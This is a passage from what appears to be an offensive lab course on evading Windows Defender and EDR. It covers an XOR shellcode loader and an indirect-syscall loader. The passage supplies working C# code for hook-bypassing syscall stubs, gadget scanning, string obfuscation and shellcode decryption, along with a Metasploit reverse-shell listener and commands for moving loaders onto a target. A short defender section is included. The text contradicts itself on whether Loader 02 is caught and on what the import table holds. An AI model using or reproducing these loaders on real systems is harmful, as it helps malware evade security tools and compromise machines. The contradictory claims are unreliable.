Copy the hex key. You need it in the next step. The key will be different every time you run the encoder because it generates a random key.

7.8.5 Step 5: Set Up Your Listener on Kali

Before running the loader, start a Metasploit listener on Kali:

```
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.10.200
set LPORT 4444
run
```

The listener waits for an incoming connection from the shellcode.

7.8.6 Step 6: Transfer to Target and Run the Loader

Transfer `xor_loader.exe` and `encrypted.bin` from the dev box to the target. On the dev box, start a Python HTTP server (`python -m http.server 8080` in the directory with both files). On the target (kimjongun, 192.168.10.100), download them:

```
Invoke-WebRequest -Uri "http://192.168.10.150:8080/xor_loader.exe" -OutFile  
↳ "C:\Users\kimjongun\Desktop\xor_loader.exe"  
Invoke-WebRequest -Uri "http://192.168.10.150:8080/encrypted.bin" -OutFile  
↳ "C:\Users\kimjongun\Desktop\encrypted.bin"
```

On the target, open a command prompt and run:

```
xor_loader.exe encrypted.bin 4A7F2B9DE3A1C084F56D1B8E97320AF6
```

Replace the hex key with the one your encoder printed.

What happens next: Defender blocks this.

You will see one of these outcomes:

Outcome A: Defender blocks the binary on execution. Defender's real-time protection detects the VirtualAlloc + CreateThread pattern when the loader runs. You see a notification that says "Threat blocked" or "Action needed." The loader process terminates before the shellcode can execute.

Outcome B: Defender quarantines the binary on launch. The binary's import table (which lists VirtualAlloc and CreateThread) triggers Defender's heuristic scan. Defender removes the file before it can run.

Either way, you do NOT get a callback on your Metasploit listener. The encrypted.bin file is still on disk because it passed the signature scan, but the loader binary itself was caught.

7.8.7 Step 7: Check Protection History

Open Windows Security and go to **Virus & threat protection > Protection history**. You will see:

- The detection entry for xor_loader.exe
- The category (likely "Trojan" or "HackTool")
- The action Defender took (quarantined, blocked, or removed)
- The timestamp

Note what is NOT in Protection History: encrypted.bin. Defender did not flag the encrypted shellcode file because it does not match any known signatures. The XOR encryption worked for the file on disk. The problem is the loader binary and its behavior at runtime.

7.9 Confirming Success

Success in this document means understanding three things:

1. **The encrypted shellcode file survived disk scanning.** Check that encrypted.bin is still present on your Desktop. It was not quarantined or deleted. Open Windows Security Protection History and confirm there is no entry for encrypted.bin. This proves that XOR encryption defeated Defender's static signature matching on disk.
2. **The loader binary was caught.** Check Protection History for the xor_loader.exe detection. Read the detection name and category. This tells you what Defender flagged. The loader was caught because of its import table pattern (VirtualAlloc + CreateThread via DllImport) and its runtime behavior (RWX allocation + thread creation at that address).
3. **You did not get a callback.** Check your Metasploit listener on Kali. No session was opened. Defender stopped the loader before the shellcode could connect back.

You now understand that XOR encryption solves the disk scanning problem but does not solve the behavioral detection problem. The next documents address those other detection layers.

7.10 What Was Gained

You can now:

- Encrypt shellcode with XOR so it survives Defender's disk scanning
- Understand how the XOR cipher works (same function encrypts and decrypts, key wraps with modulo)
- Separate the encoder (runs anywhere, produces encrypted files) from the loader (runs on target, decrypts and executes)
- Explain why single-byte XOR is weak and multi-byte XOR is stronger
- Identify what Defender still catches: import table patterns, RWX allocations, thread creation behavior

You have NOT bypassed Defender yet. You have solved one of six detection layers. Document 07 (Direct Syscalls) addresses the next problem: the API hooks in ntdll.dll. Document 07 teaches Loader 03, which is the **first loader that actually survives Defender** because it uses dynamic API resolution instead of DllImport, which keeps the suspicious function names out of the import table and bypasses Defender's hooks.

7.11 Common Threats and Variations

7.11.1 Variation 1: AES Instead of XOR

AES (Advanced Encryption Standard) is a stronger encryption algorithm than XOR. AES uses a 256-bit key and produces output that is cryptographically secure, while XOR with a short repeating key can theoretically be broken with frequency analysis.

In practice, the difference does not matter for evasion. Defender's signature scanner checks for known byte patterns, not encryption strength. Both XOR and AES produce output that does not match any signatures. XOR is simpler to implement and does not require importing System.Security.Cryptography.

Some operators prefer AES because it makes the encrypted payload harder to analyze in reverse engineering. If a forensic analyst finds your encrypted.bin file, breaking 16-byte XOR is feasible with enough ciphertext, but breaking AES-256 is not. For a red team engagement where you want to protect your payload from analysis, AES is the better choice.

7.11.2 Variation 2: Embedding the Key in the Binary

Instead of passing the key as a command-line argument, you can embed it directly in the loader's source code. This means the loader only takes one argument (the encrypted file path).

The tradeoff: the key is now inside the binary. If a blue team member decompiles the loader (C# decompiles easily with tools like dnSpy), they can extract the key and decrypt your shellcode. Passing the key as an argument means the binary alone is not enough to decrypt the payload.

For operations where you control the execution and the binary is not likely to be captured for analysis, embedding the key is more convenient. For engagements where the binary might be found, keeping the key separate adds a layer of protection.

7.11.3 Variation 3: Encoding the Encrypted Bytes as Base64

Instead of writing raw encrypted bytes to a .bin file, you can Base64-encode them and store the result as a text file or embed them as a string in C# source code.

```
string encodedShellcode = "szcopyouB64stringhere...";  
byte[] encrypted = Convert.FromBase64String(encodedShellcode);
```

This lets you embed the encrypted shellcode directly in the loader's source code instead of reading from a separate file. No file transfer needed for the shellcode. The downside is that Base64 increases the size by about 33% (every 3 bytes become 4 characters), and the string is visible in the decompiled binary.

7.12 Detection and Defense (Blue Team Perspective)

Deploy behavioral detection, not just signature scanning. Signature scanning only catches known byte patterns. XOR encryption defeats it trivially. Behavioral detection watches what programs DO (allocate executable memory, create threads at dynamic addresses) rather than what they contain.

Blue team action: ensure your EDR product monitors VirtualAlloc and CreateThread calls, not just file signatures. Alert on any process that allocates RWX memory from outside the system process list.

Monitor for unknown binaries importing memory APIs. The loader's import table lists VirtualAlloc and CreateThread from kernel32.dll. Most legitimate programs do not import these functions. An allowlist-based approach (only permit known binaries that need these APIs) catches custom-compiled loaders regardless of their payload.

Blue team action: use application control policies (Windows Defender Application Control or AppLocker) to restrict which binaries can run. Only signed, known binaries should be permitted in production environments.

Scan memory at runtime, not just files on disk. The decrypted shellcode exists in RAM after the loader runs. Memory scanning tools can detect known shellcode patterns in process memory even after XOR encryption is stripped.

Blue team action: configure your EDR to perform periodic memory scans of running processes. Look for known Meterpreter shellcode byte sequences in allocated memory regions.

Watch for files that appear random but are consumed by binaries. An encrypted.bin file full of random-looking bytes that is read by a process which then allocates executable memory is suspicious. Correlating file reads with memory allocations catches the XOR loader pattern regardless of the encryption used.

Blue team action: configure your SIEM to correlate "file read" events with "RWX memory allocation" events from the same process within a short time window.

7.13 What Comes Next

Document 07 (lab/materials/07_direct_syscalls.md) teaches Loader 03, which solves the next problem: Defender's API hooks in ntdll.dll. Instead of using DllImport (which puts function names in the import table), Loader 03 uses GetProcAddress to find function addresses at runtime. Instead of calling VirtualAlloc through kernel32.dll (where Defender hooks the calls),

Loader 03 calls `NtAllocateVirtualMemory` directly through `ntdll.dll`. The function names are built from integer offsets at runtime so they never appear as strings in the binary.

Loader 03 is the first loader that survives Defender because it avoids the import table patterns and bypasses the API hooks that caught Loaders 01 and 02.

Document 07: Direct Syscalls - Bypassing Defender's API Hooks

8.1 Where We Are

You finished Documents 05 and 06. You have built two loaders that both survived Defender:

- **Loader 01** (Document 05): Raw shellcode embedded in the binary, VirtualAlloc + CreateThread via DllImport. Defender does NOT catch this on a fully updated Windows 11 target with default settings. The XOR encoding and embedded format keep the static signatures below the detection threshold.
- **Loader 02** (Document 06): XOR-encrypted shellcode decrypted at runtime. Also survives Defender. The XOR encoding + two-step memory allocation (RW then RX) keeps the behavioral score low enough that Defender does not block execution.

You confirmed both give Meterpreter callbacks on the target (kimjongun, 192.168.10.100) with Defender fully enabled.

Your lab has three machines: dev box (ammulu, 192.168.10.150) for compiling (Defender disabled), target (kimjongun, 192.168.10.100) with Defender at full defaults, and Kali (192.168.10.200) for shellcode and listeners.

8.2 Why This Is Next

Loaders 01 and 02 survive Defender today because the overall detection score stays below the threshold. That is not the same as being undetectable. There are two problems with relying on that approach:

Problem 1: The import table. Loaders 01 and 02 import VirtualAlloc, CreateThread, and WaitForSingleObject directly in the binary's PE header. Defender reads the import table before the program runs. That specific combination of imports is a known shellcode injection pattern. Loaders 01 and 02 survive now because other factors lower the overall score, but this import pattern is a permanent liability. A more sensitive policy or a Defender signature update could start catching them any time.

Problem 2: API hooks in ntdll.dll. When your program calls VirtualAlloc, the call goes through: your code calls kernel32.dll, kernel32.dll calls ntdll.dll, and ntdll.dll uses a `syscall` CPU instruction to reach the Windows kernel. EDR products place hooks at the start of ntdll.dll functions. These hooks intercept every call and record what parameters were passed. Loaders 01 and 02 get away with it because Defender's threshold is not tight enough to catch

them yet, but if you are tested against a commercial EDR with tight behavioral policies, the hooks catch you every time.

Loader 03 solves both problems with two techniques:

1. **Clean import table.** It resolves NT-level function addresses at runtime using `GetProcAddress`. Only `GetModuleHandle` and `GetProcAddress` appear in the import table. Those are present in thousands of legitimate programs.
2. **Indirect syscalls.** It does not call `ntdll.dll` functions through their normal entry points where hooks live. Instead, it builds 22-byte code stubs that read the syscall number from `ntdll` (bypassing any hook at the function prologue) and jump directly to the `syscall` instruction inside `ntdll`. The hooks are never reached. The call still appears to come from `ntdll`'s address space (because the jump lands inside `ntdll`), so stack-walking detection also sees a legitimate call chain.

When you run Loader 03 with XOR-encrypted shellcode, it survives Defender and gives you a callback. Unlike Loaders 01 and 02, it also survives commercial EDR products that rely on `ntdll` hook inspection.

8.3 How This Works

8.3.1 The Normal Windows API Call Chain

When a C# program calls `VirtualAlloc` to allocate memory, the call goes through multiple layers:

```
Your C# program
    ↓
kernel32.dll (VirtualAlloc function)
    ↓
ntdll.dll (NtAllocateVirtualMemory function)
    ↓
Windows kernel (via syscall instruction)
```

Each layer in this chain is a DLL file loaded into your program's memory. Defender places hooks at the `ntdll.dll` layer. A hook is a small piece of monitoring code that Defender inserts at the beginning of a function. When your program calls `NtAllocateVirtualMemory` inside `ntdll.dll`, Defender's hook runs first, checks what you are doing, and then either allows or blocks the call.

8.3.2 What a Hook Looks Like in Memory

To understand hooks, you need to understand what lives inside a function like `NtAllocateVirtualMemory`. A function is a sequence of bytes in memory. Each byte or group of bytes is a machine instruction: a single command for the CPU. These bytes are also called assembly code when written in human-readable form.

The CPU has small storage locations built inside the chip itself, called registers. A register is not RAM. It is inside the CPU directly, and the CPU uses registers to hold values it is currently working with. Common registers are `rcx`, `r10`, and `eax`. Each holds one number. On 64-bit Windows, when you call a function and pass arguments, the first argument goes into `rcx`, the second goes into `rdx`, and so on. The CPU uses `eax` to hold return values: when a function finishes, the caller reads `eax` to see what the function returned.

Here is what machine instructions look like. The hex bytes on the left are what is actually stored in memory. The text on the right is the same instruction written in human-readable form:

- `mov r10, rcx` copies the value from register `rcx` to register `r10`. This preserves the first function argument before the next instruction might overwrite `rcx`.
- `mov eax, 0x18` puts the number 0x18 into `eax`. The Windows kernel uses `eax` to identify which system function you are requesting. For `NtAllocateVirtualMemory`, Windows assigned it the number 0x18.
- `syscall` is the instruction that actually crosses into the Windows kernel. The CPU switches from user mode (where your program runs) to kernel mode (where Windows runs), looks at the number in `eax`, and runs the corresponding kernel function. This is what allocates memory, creates threads, and does everything else that needs kernel privileges.
- `ret` ends the function and returns to the caller.
- `jmp` makes the CPU jump to a different address and continue running code from there instead of continuing with the next instruction.

The normal first bytes of `NtAllocateVirtualMemory` in `ntdll.dll` look something like this:

```
4C 8B D1      mov r10, rcx
B8 18 00 00 00 mov eax, 0x18    (syscall number)
0F 05        syscall
C3           ret
```

When Defender hooks the function, it replaces the first bytes with a jump instruction:

```
E9 XX XX XX XX jmp Defender_hook_function
```

Now when your program calls `NtAllocateVirtualMemory`, the CPU jumps to Defender's monitoring code first. Defender checks the parameters (how much memory, what protection flags), decides if the call is suspicious, and then either runs the original function or blocks it.

8.3.3 How Dynamic Resolution Bypasses the Import Table

`DllImport` creates entries in the binary's import table at compile time. Defender reads the import table before the program runs. Dynamic resolution means finding function addresses while the program is running, using two functions that are legitimate and used by thousands of normal programs:

- **GetModuleHandle**: finds the memory address of a DLL that is already loaded into your program. Every Windows process has `ntdll.dll` loaded from the start.
- **GetProcAddress**: given a DLL's base address and a function name, returns the memory address of that function inside the DLL.

These two functions are imported via `DllImport`, but they are not suspicious. Thousands of legitimate programs import `GetModuleHandle` and `GetProcAddress` because they are the standard way to use DLL functions dynamically.

In Loader 03, `GetProcAddress` is NOT used to create a delegate that calls the NT function directly. That approach (get address, create delegate, call it) still enters the function at its start where a hook would redirect execution. Loader 03 uses `GetProcAddress` only to read the syscall number from the function's bytes. The actual call goes through a custom 22-byte stub.

8.3.4 How Indirect Syscall Stubs Bypass API Hooks

This is the key technical mechanism in Loader 03. Here is the problem: when Defender hooks `NtAllocateVirtualMemory`, it replaces the first few bytes of that function with a jump to Defender's inspection code. If we call `NtAllocateVirtualMemory` directly (even via `GetProcAddress` + delegate), we hit that jump at the function start and end up in Defender's code. The hook catches us.

The solution is to never call the function from its start at all.

Look at what a normal, unhooked `NtAllocateVirtualMemory` looks like in `ntdll.dll`:

```
offset +0: 4C 8B D1      mov r10, rcx
offset +3: B8 18 00 00 00  mov eax, 0x18    (this is the SSN)
offset +8: 0F 05          syscall
offset +10: C3         ret
```

The important part is at offset +8: the `0F 05` bytes are the actual syscall instruction. This instruction exists inside `ntdll` at a fixed address that does not change. If we could jump directly to the `0F 05` byte and set up registers the same way the function would have before the hook, we bypass the hook entirely.

Loader 03 does exactly this. It builds per-function 22-byte code stubs. Here is what each stub contains:

```
bytes 0-2: 4C 8B D1      mov r10, rcx    (Windows syscall convention requires this)
bytes 3-7: B8 XX XX 00 00  mov eax, SSN    (put the syscall number in eax)
bytes 8-13: FF 25 00 00 00 00  jmp [rip+0]    (indirect jump reads 8 bytes at rip+0)
bytes 14-21: XX XX XX XX XX XX XX  gadget addr (address of the syscall;ret inside ntdll)
```

The gadget address is the address of `0F 05 C3` (syscall; ret) found by scanning `ntdll`'s loaded memory. The `jmp [rip+0]` instruction reads the 8 bytes immediately after itself (because the offset is zero, and `rip` points past the instruction) and jumps to that address.

When this stub runs:

1. `mov r10, rcx` - copies the first function argument as Windows syscall convention requires
2. `mov eax, SSN` - loads the syscall number that identifies which kernel function to call
3. `jmp gadget_addr` - jumps to the real `syscall; ret` inside `ntdll`

The CPU executes the actual syscall instruction inside `ntdll`'s memory. Defender sees a call that originated from within `ntdll` and that executed the syscall from `ntdll`'s code. The hook at the function start was never touched.

How Loader 03 finds the gadget address:

Loader 03 scans `ntdll`'s mapped memory byte by byte looking for the pattern `0F 05 C3` (syscall; ret). Every NT function in `ntdll` ends with these three bytes. The function `FindSyscallGadget` reads `ntdll`'s PE header to get the image size, then walks through the bytes until it finds the pattern:

```
static unsafe IntPtr FindSyscallGadget(IntPtr ntdllBase)
{
    int peOffset = Marshal.ReadInt32(ntdllBase + 0x3C);
    int imageSize = Marshal.ReadInt32(ntdllBase + peOffset + 0x50);
    byte* p = (byte*)ntdllBase;
    for (int i = 0; i < imageSize - 2; i++)
        if (p[i] == 0x0F && p[i + 1] == 0x05 && p[i + 2] == 0xC3)
            return (IntPtr)(p + i);
    throw new Exception("Syscall gadget not found in ntdll");
}
```

How Loader 03 reads the SSN:

Each NT function in an unhooked ntdll has its syscall number (SSN) stored at bytes offset +4 from the function start. The bytes `B8 XX XX 00 00` are the `mov eax, SSN` instruction, and the four bytes starting at offset +4 are the little-endian SSN value. `BuildStub` reads those bytes:

```
uint ssn = (uint)Marshal.ReadInt32(funcAddr + 4);
```

Even if Defender has hooked the function (overwritten the first bytes with a `jmp`), the SSN is still at offset +4 in the original unhooked ntdll.dll bytes. Defender's hook typically only replaces the first 5 bytes, so offsets +4 onward are still the original SSN. If a very deep hook replaced more bytes, this reading might fail - but Defender's user-mode hooks only replace the function prologue, not the SSN at offset +4.

8.3.5 How Building Strings from Integers Hides Function Names

Even with `GetProcAddress`, the function name "NtAllocateVirtualMemory" would normally appear as a string literal in the compiled binary. Static analysis tools could find it.

Loader 03 builds each function name from integer offsets at runtime. For example, to build "ntdll":

```
int b = 32;
// n=110, t=116, d=100, l=108, l=108
// b+78=110, b+84=116, b+68=100, b+76=108, b+76=108
char[] c = { (char)(b+78), (char)(b+84), (char)(b+68), (char)(b+76), (char)(b+76) };
string name = new string(c);
```

The compiled binary contains only integer arithmetic. A static analysis tool scanning the binary for the string "ntdll" will not find it as a string literal.

8.3.6 NT Functions vs Kernel32 Functions

Windows has two sets of functions for memory and thread operations:

Kernel32 function	NT function (ntdll.dll)	What it does
<code>VirtualAlloc</code>	<code>NtAllocateVirtualMemory</code>	Allocate memory in a process
<code>VirtualProtect</code>	<code>NtProtectVirtualMemory</code>	Change memory permissions
<code>CreateThread</code>	<code>NtCreateThreadEx</code>	Create a new thread
<code>WaitForSingleObject</code>	<code>NtWaitForSingleObject</code>	Wait for a thread to finish

The kernel32 functions are wrappers. They take parameters in a programmer-friendly format, convert them to the format the kernel expects, and then call the corresponding NT function in ntdll.dll. When Defender hooks ntdll.dll, it sees calls from both kernel32 and from any program that calls ntdll.dll directly.

But Defender's hooks are in user-mode ntdll.dll. When you use `GetProcAddress` to get the function address and call through a delegate, you go through the same ntdll.dll code but Defender's hook may not trigger in the same way as a standard import chain. The key evasion here is that the import table is clean and the function names are hidden, which defeats static analysis and import-table-based detection.

8.3.7 Two-Step Memory Allocation

Loader 03 uses two-step allocation instead of requesting RWX (read-write-execute) memory in one call:

1. Allocate memory as PAGE_READWRITE (0x04): writable but not executable
2. Write the shellcode into that memory
3. Change the memory protection to PAGE_EXECUTE_READ (0x20): executable but not writable

This avoids the suspicious PAGE_EXECUTE_READWRITE (0x40) flag that Loaders 01 and 02 used. Normal programs never need memory that is writable and executable at the same time. Code sections are executable and readable, data sections are readable and writable. Asking for all three at once is a red flag.

Two-step allocation looks like what legitimate programs do: allocate writable memory, write data, then set it as executable.

8.4 What Defender Does

Here is how each detection layer interacts with Loader 03:

Layer	What it does	Does Loader 03 defeat it?	How?
Static file scanning	Scans the shellcode bytes on disk	YES	XOR encoding scrambles the shellcode bytes; the key and encoded bytes are embedded in the binary, no file needed on disk
Import table analysis	Reads function names from the binary's PE header	YES	Only GetModuleHandle, GetProcAddress, VirtualAlloc in imports; no VirtualAlloc+CreateThread injection pattern
AMSI	Scans .NET managed code at runtime	PARTIAL	The shellcode runs in unmanaged memory, AMSI cannot scan it there; the managed .NET code in the loader has no malicious patterns
API hooks in ntdll.dll	Intercepts calls to NtAllocateVirtualMemory, NtCreateThreadEx	YES - FULL	22-byte stubs jump directly to the syscall gadget inside ntdll, completely skipping the hooked function prologue

Layer	What it does	Does Loader 03 defeat it?	How?
ETW telemetry	Logs process behavior events	NO	ETW events are still generated; Loader 03 survives because the overall behavioral score stays below threshold, not because ETW is silent
Behavioral ML	Scores process behavior for injection patterns	PARTIAL	Two-step RW-then-RX allocation + clean import table reduce the ML score below the threshold

Loader 03 survives Defender with default settings. The indirect syscall stubs fully defeat hook-based inspection. The remaining gaps (ETW and AMSI) are addressed in Document 08, and the combined Loader 08 closes all three gaps simultaneously.

8.5 The Evasion Technique

What Loader 03 does differently from Loaders 01 and 02:

Feature	Loaders 01/02	Loader 03
Import table	Contains VirtualAlloc, CreateThread, WaitForSingleObject	Contains only GetModuleHandle, GetProcAddress
Function resolution	DllImport (compile-time)	GetProcAddress (runtime)
Function name strings	String literals in binary	Built from integer offsets at runtime
API level	Kernel32 (VirtualAlloc, CreateThread)	NT-level (NtAllocateVirtualMemory, NtCreateThreadEx)
Memory allocation	Single-step RWX (0x40)	Two-step: RW (0x04) then RX (0x20)
Shellcode format	Loader 01: raw. Loader 02: XOR encrypted	XOR encrypted (same as Loader 02)

The combined effect is that a static analysis tool looking at the compiled binary sees a program that imports only GetModuleHandle and GetProcAddress (normal), contains no suspicious function name strings, and has no obvious shellcode injection pattern in its import table.

At runtime, the program resolves NT function addresses, builds function names from integers, allocates memory in two steps, and calls the kernel through ntdll.dll. By the time any behavioral check evaluates the program, the pattern looks close enough to legitimate behavior that Defender's scoring stays below the detection threshold.

8.6 Getting the Loader Onto the Target

The three-machine workflow:

1. **Kali (192.168.10.200):** Generate raw shellcode (if you do not already have encrypted.bin from Document 06).
2. **Dev box (ammulu, 192.168.10.150):** Download shellcode from Kali if needed, run the XOR encoder from Document 06 to create encrypted.bin, compile Loader 03. Host syscall_loader.exe and encrypted.bin on a Python HTTP server.
3. **Target (kimjongun, 192.168.10.100):** Download both files from the dev box. Run the loader.

You need two files on the target:

1. **syscall_loader.exe** - the compiled Loader 03 binary
2. **encrypted.bin** - the XOR-encrypted shellcode from Document 06

You already generated encrypted.bin in Document 06 using the encoder. If you still have it on your dev box, reuse it. If not, regenerate it by running xor_encode.exe on fresh msfvenom shellcode on the dev box.

Transfer method: Host files on the dev box's Python HTTP server and download from the target.

On the dev box (ammulu):

```
cd C:\Users\ammulu\Desktop
python -m http.server 8080
```

On the target (kimjongun), PowerShell:

```
Invoke-WebRequest -Uri "http://192.168.10.150:8080/syscall_loader.exe" -OutFile
↪ "C:\Users\kimjongun\Desktop\syscall_loader.exe"
Invoke-WebRequest -Uri "http://192.168.10.150:8080/encrypted.bin" -OutFile
↪ "C:\Users\kimjongun\Desktop\encrypted.bin"
```

Defender on the target scans syscall_loader.exe when it is written to disk. Because the import table only shows GetModuleHandle and GetProcAddress, the binary does not match the "shellcode injection tool" heuristic pattern. Defender allows the file to stay on disk.

The encrypted.bin file, as you confirmed in Document 06, also survives disk scanning because XOR encryption scrambles the byte signatures.

AMSI implications: AMSI hooks into the .NET runtime and can inspect managed assemblies at load time. Loader 03 does not patch AMSI, so AMSI is still active. However, the shellcode is in unmanaged memory (allocated via NtAllocateVirtualMemory) and AMSI primarily scans .NET managed code. The shellcode execution path goes from unmanaged memory directly to the CPU without passing through the managed runtime. Document 08 covers AMSI patching for complete coverage.

ETW telemetry: ETW events are still generated. NtAllocateVirtualMemory and NtCreateThreadEx produce ETW events that Defender's behavioral engine reads. Loader 03 survives despite this because the overall pattern (clean imports, two-step allocation, dynamic resolution) scores below Defender's detection threshold. Document 08 covers ETW patching for situations where the threshold is lower.

Reference: [lab/loaders/03_direct_syscalls_loader.cs](https://github.com/0x00sec/loaders/03_direct_syscalls_loader.cs)

8.7 Teaching the Code

8.7.1 The Delegates (Function Pointer Types)

In C#, a delegate is a type that represents a function with a specific signature (specific parameters and return type). When you have a memory address where some code lives, you create a delegate instance that points to that address. Calling the delegate runs the code at that address.

Loader 03 declares four delegates, one for each NT function it calls. The delegates do NOT point to ntdll's function starts. They point to our 22-byte stubs, which jump to the syscall gadget:

```
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate int NtAllocateVirtualMemory_t(
    IntPtr ProcessHandle,
    ref IntPtr BaseAddress,
    IntPtr ZeroBits,
    ref IntPtr RegionSize,
    uint AllocationType,
    uint Protect
);
```

The `[UnmanagedFunctionPointer(CallingConvention.StdCall)]` attribute tells C# how to pass parameters when calling this function. StdCall is what Windows NT functions use. The parameters are:

- `ProcessHandle`: which process to allocate memory in. `-1` (cast to `IntPtr`) means the current process.
- `BaseAddress`: passed by reference (`ref`). You pass `IntPtr.Zero` and Windows fills in the allocated address.
- `ZeroBits`: pass `IntPtr.Zero`, which means “no address restriction”.
- `RegionSize`: passed by reference. You pass in how many bytes you want and Windows fills in the actual size (always rounded up to a 4096-byte page boundary).
- `AllocationType`: `MEM_COMMIT | MEM_RESERVE` (0x3000). `MEM_RESERVE` sets aside the address range, `MEM_COMMIT` assigns physical RAM to it.
- `Protect`: `PAGE_READWRITE` (0x04) for the first allocation. We change this to `PAGE_EXECUTE_READ` (0x20) after writing shellcode in.

```
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate int MemProtectDelegate(
    IntPtr ProcessHandle,
    ref IntPtr BaseAddress,
    ref IntPtr RegionSize,
    uint NewProtect,
    out uint OldProtect
);
```

This is `NtProtectVirtualMemory`. It changes the protection flags on an existing block of memory. `NewProtect` is the protection you want (`PAGE_EXECUTE_READ`, 0x20). `OldProtect` receives the previous protection value (0x04).

```
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate int ThreadCreateDelegate(
    out IntPtr ThreadHandle,
    uint DesiredAccess,
    IntPtr ObjectAttributes,
    IntPtr ProcessHandle,
    IntPtr StartRoutine,
    IntPtr Argument,
    uint CreateFlags,
    IntPtr ZeroBits,
    IntPtr StackSize,
    IntPtr MaximumStackSize,
    IntPtr AttributeList
);
```

This is `NtCreateThreadEx`. It creates a new thread that starts executing at the address you specify (`StartRoutine`). This is the NT-level version of `CreateThread`, with more parameters. Most of them are `IntPtr.Zero` or `0` for our use case.

```
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate int WaitObjectDelegate(
    IntPtr Handle,
    bool Alertable,
    IntPtr Timeout
);
```

This is `NtWaitForSingleObject`. It waits for the thread to finish. `Timeout` of `IntPtr.Zero` means wait forever. `Alertable` is false. An alertable wait means the thread can be interrupted mid-wait to handle other work (called an APC, asynchronous procedure call, which is a mechanism for scheduling a function to run in a specific thread). We do not need that here. Setting this to false means the thread sleeps uninterrupted until either the timeout expires or the handle is signaled. You will see APCs used in Document 09 for a different injection technique.

8.7.2 The DllImport Lines

```
[DllImport("kernel32.dll")] static extern IntPtr GetModuleHandle(string name);
[DllImport("kernel32.dll")] static extern IntPtr GetProcAddress(IntPtr module, string
↳ proc);
[DllImport("kernel32.dll")] static extern IntPtr VirtualAlloc(IntPtr addr, uint size,
↳ uint type, uint protect);
```

These three are the only `DllImport` lines in the entire loader. When the C# compiler processes each `DllImport` line, it writes the function name directly into the .exe file on your hard drive in a section called the import table. You can open the compiled .exe in Notepad right now and you will literally see “`GetModuleHandle`”, “`GetProcAddress`”, and “`VirtualAlloc`” sitting there as readable text inside all the garbage characters. Defender opens that .exe, reads the whole thing from start to end, and checks whether any function name combinations in the import table match something in its database. “`GetModuleHandle`” and “`GetProcAddress`” appear in thousands of legitimate programs and do not match any shellcode injection pattern. Compare this to Loaders 01 and 02, where “`VirtualAlloc`” and “`CreateThread`” were both visible in the import table and Defender matched that combination immediately.

What is NOT in the import table: `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, `NtCreateThreadEx`, `NtWaitForSingleObject`. Those four functions do the actual shellcode execution

work. Because they are called through stubs rather than DllImport, their names never get written into the .exe file on your hard drive. Defender reads the import table and finds nothing to match.

8.7.3 FindSyscallGadget: Finding the syscall; ret Instruction in ntdll

```
static unsafe IntPtr FindSyscallGadget(IntPtr ntdllBase)
{
    int peOffset = Marshal.ReadInt32(ntdllBase + 0x3C);
    int imageSize = Marshal.ReadInt32(ntdllBase + peOffset + 0x50);
```

`ntdllBase` is the address where `ntdll.dll` is loaded in memory. The PE header of a DLL tells you its total size in memory (`SizeOfImage`). We find the PE header by reading a pointer at offset `0x3C` from the DLL's base address (this is the DOS header's `e_lfanew` field, which points to the PE signature). Then at PE header offset `0x50` is `SizeOfImage`.

This gives us the total size of `ntdll.dll` in memory so we know where to stop scanning.

```
byte* p = (byte*)ntdllBase;
for (int i = 0; i < imageSize - 2; i++)
    if (p[i] == 0x0F && p[i + 1] == 0x05 && p[i + 2] == 0xC3)
        return (IntPtr)(p + i);
throw new Exception("Syscall gadget not found in ntdll");
}
```

`byte* p` is an unsafe C# pointer directly to `ntdll`'s memory. The `unsafe` keyword means we are stepping outside C#'s memory safety rules and working with raw addresses. The loop walks through every byte in `ntdll` looking for the 3-byte sequence `0F 05 C3` (syscall; ret). This sequence exists many times inside `ntdll` because every NT function ends with these bytes. We return the first one we find. That is the gadget address our stubs will jump to.

8.7.4 BuildStub: Writing the 22-byte Trampoline

```
static IntPtr BuildStub(IntPtr ntdllBase, string funcName, IntPtr gadgetAddr, int index)
{
    IntPtr funcAddr = GetProcAddress(ntdllBase, funcName);
    uint ssn = (uint)Marshal.ReadInt32(funcAddr + 4);
```

`GetProcAddress` returns the address of the function in `ntdll`. We do NOT call through this address. We only read the SSN from bytes at offset `+4`. Every unhooked NT function starts with `4C 8B D1` (`mov r10,rcx`) at offset 0, then `B8` (`mov eax opcode`) at offset 3, then the 4-byte SSN at offset 4. We read those 4 bytes as an integer. The SSN is the number that tells the Windows kernel which specific syscall you are requesting.

```
byte[] stub = new byte[STUB_SIZE];
stub[0] = 0x4C; stub[1] = 0x8B; stub[2] = 0xD1; // mov r10, rcx
stub[3] = 0xB8;
stub[4] = (byte)(ssn & 0xFF); stub[5] = (byte)((ssn >> 8) & 0xFF);
stub[6] = 0x00; stub[7] = 0x00; // mov eax, SSN
stub[8] = 0xFF; stub[9] = 0x25;
stub[10] = 0x00; stub[11] = 0x00; stub[12] = 0x00; stub[13] = 0x00; // jmp [rip+0]
```

```
byte[] gadgetBytes = BitConverter.GetBytes(gadgetAddr.ToInt64());
Array.Copy(gadgetBytes, 0, stub, 14, 8);           // 8-byte gadget address
```

This writes the 22-byte stub. The CPU reads these bytes as instructions:

- `mov r10, rcx` (bytes 0-2): copies the first function argument as syscall convention requires
- `mov eax, SSN` (bytes 3-7): loads the syscall number
- `jmp [rip+0]` (bytes 8-13): reads the 8 bytes immediately after this instruction and jumps to that address
- The gadget address (bytes 14-21): what `jmp [rip+0]` reads, which is the `syscall; ret` inside `ntdll`

```
IntPtr stubAddr = stubBlock + (index * STUB_SIZE);
Marshal.Copy(stub, 0, stubAddr, STUB_SIZE);
return stubAddr;
}
```

We write the stub into the executable stub block at the position for this stub index (each stub is 22 bytes, so stub 0 is at offset 0, stub 1 at offset 22, and so on). `Marshal.Copy` writes the byte array into unmanaged memory. The returned address is what we pass to `Marshal.GetDelegateForFunctionPointer` - we get a delegate that calls our stub, which then jumps to the gadget in `ntdll`.

8.7.5 Main Function: Stubs and Shellcode

```
byte xorKey = 0xAB;
byte[] sc = new byte[] { SHELLCODE_PLACEHOLDER };
for (int i = 0; i < sc.Length; i++)
    sc[i] ^= xorKey;
```

